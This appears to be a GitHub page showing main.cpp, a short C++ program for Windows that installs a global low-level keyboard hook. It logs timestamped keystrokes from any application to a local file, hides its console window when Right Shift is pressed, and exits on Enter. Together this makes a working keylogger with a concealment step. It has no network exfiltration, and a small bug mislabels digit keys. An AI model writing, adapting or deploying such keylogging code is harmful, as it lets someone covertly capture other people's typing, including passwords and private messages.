-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.cpp
More file actions
103 lines (95 loc) · 3.21 KB
/
Copy pathmain.cpp
File metadata and controls
103 lines (95 loc) · 3.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#if defined(_WIN32)
// 下列代码段来自https://blog.csdn.net/GDUT_xin/article/details/125418475
#include <cstdio>
#include <tchar.h>
#include <windows.h>
#include <conio.h>
#include <winuser.h>
#include <ctime>
std::FILE *fp = std::fopen("lastInput.txt", "w");
HHOOK keyboardHook = 0;
time_t rawTime = 0;
LRESULT CALLBACK LowLevelKeyboardProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam)
{
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT *)lParam;
/*
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
*/
if (ks->flags & 0b10000000)
{
SetConsoleTitleA("Keystrokes");
HWND hWnd;
hWnd = FindWindow(NULL, "Keystrokes");
time(&rawTime);
struct tm *pTmInfo = localtime(&rawTime);
if (0x30 <= ks->vkCode && ks->vkCode <= 0x5A)
{
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d] Keys %c pressed\n", pTmInfo->tm_year + 1900, pTmInfo->tm_mon + 1, pTmInfo->tm_mday, pTmInfo->tm_hour, pTmInfo->tm_min, pTmInfo->tm_sec, ks->vkCode - 0x41 + 'A');
}
else if (ks->vkCode == VK_RETURN)
{
std::fclose(fp);
exit(1);
}
else if (ks->vkCode == VK_LSHIFT)
{
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d] Keys Left Shift pressed\n", pTmInfo->tm_year + 1900, pTmInfo->tm_mon + 1, pTmInfo->tm_mday, pTmInfo->tm_hour, pTmInfo->tm_min, pTmInfo->tm_sec);
}
else if (ks->vkCode == VK_RSHIFT)
{
ShowWindow(hWnd, SW_HIDE);
}
else if (ks->vkCode == VK_CAPITAL)
{
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d] Keys Caps Lock pressed\n", pTmInfo->tm_year + 1900, pTmInfo->tm_mon + 1, pTmInfo->tm_mday, pTmInfo->tm_hour, pTmInfo->tm_min, pTmInfo->tm_sec);
}
else if (ks->vkCode == VK_LEFT)
{
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d] Keys Left Arrow pressed\n", pTmInfo->tm_year + 1900, pTmInfo->tm_mon + 1, pTmInfo->tm_mday, pTmInfo->tm_hour, pTmInfo->tm_min, pTmInfo->tm_sec);
}
else if (ks->vkCode == VK_RIGHT)
{
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d] Keys Right Arrow pressed\n", pTmInfo->tm_year + 1900, pTmInfo->tm_mon + 1, pTmInfo->tm_mday, pTmInfo->tm_hour, pTmInfo->tm_min, pTmInfo->tm_sec);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int _tmain(int argc, _TCHAR *argv[])
{
SetConsoleOutputCP(65001);
// 安装钩子
keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
LowLevelKeyboardProc,
GetModuleHandleA(NULL),
NULL);
if (keyboardHook == 0)
{
printf("挂钩键盘失败\n");
std::fclose(fp);
return -1;
}
// 不可漏掉消息处理,否则程序会卡死
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0)) // 如果消息队列中有信息
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
Sleep(1);
}
// 删除钩子
UnhookWindowsHookEx(keyboardHook);
std::fclose(fp);
return 0;
}
#elif defined(__linux__)
#endif